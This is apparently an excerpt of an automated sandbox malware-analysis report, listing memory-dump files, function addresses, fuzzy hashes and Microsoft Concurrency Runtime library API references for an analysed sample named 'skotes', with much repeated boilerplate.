Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfd133aeccc44c7e759c0dc6c8cd75b13ae350eef0a1ffdc2e5d1c6a458d3541
Instruction ID: 122cdf596a6deb232ad4437a8db9eebe3d12ae222578721b70a1a2a274308295
Opcode Fuzzy Hash: dfd133aeccc44c7e759c0dc6c8cd75b13ae350eef0a1ffdc2e5d1c6a458d3541
Instruction Fuzzy Hash: 04519CB2A056168FEB65CF58D8857AEB7F1FB48314F24856AD409EB250E378ED40CF60

Function 007BF028 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 229COMMONLIBRARYCODE

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 007BF2BB

Strings

pEvents, xrefs: 007BF2B3

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pEvents
API String ID: 2141394445-2498624650
Opcode ID: 1def7db8367c66c40f62d3a0608554c6ec5be3cd543b12a5e47b9ec9958d7c26
Instruction ID: ac0b164f40738674cc111fc613f4797458a99bd77a6a58fb4eb40212b7bd5a76
Opcode Fuzzy Hash: 1def7db8367c66c40f62d3a0608554c6ec5be3cd543b12a5e47b9ec9958d7c26
Instruction Fuzzy Hash: 71817B75D00219DBCF25EFA8CD89BEEB7B5BF04B10F144429E401A7282DB38AE45CB91

Function 007D26D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 007D26E3

Part of subcall function 007D24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 007D2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 007D2704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 007D2711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 007D275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 007D27E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 007D27F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 007D2846

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: e27876fb75acc218063015baac58bb213da2166995b8f992201d71d557fd6ff3
Instruction ID: 8c42ea0fb958cbfcd7464332a126f53dd8a59629c698ea8043be2af322ff6c1c
Opcode Fuzzy Hash: e27876fb75acc218063015baac58bb213da2166995b8f992201d71d557fd6ff3
Instruction Fuzzy Hash: 2181BB30900249ABDF169F64C955BBE7BB2AF65314F04009AED413B353C73A9D27EB61

Function 007D2970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 007D2982

Part of subcall function 007D24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 007D2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 007D29A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 007D29B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 007D29FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 007D2AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 007D2AD8

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: ea867687ef035f2ec37115bbb2f3c36de13d75edfc132a20a8ca2f7988279a80
Instruction ID: ab966052de12f1048637ab88ba27fd3ace6a485ac64ccf3588a8a97cb8b10bd8
Opcode Fuzzy Hash: ea867687ef035f2ec37115bbb2f3c36de13d75edfc132a20a8ca2f7988279a80
Instruction Fuzzy Hash: 1671B970900249ABDF15DF68C990ABEBBB2EFA5304F04409AEC416B353C77A9D17DB61

Function 007C2832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 007C2876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 007C28DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 007C2913

Part of subcall function 007C07ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 007C080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 007C2993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 007C29DB

Part of subcall function 007C07C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 007C07DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 007C29EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 007C2A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 007C2A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 007C2A7E

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
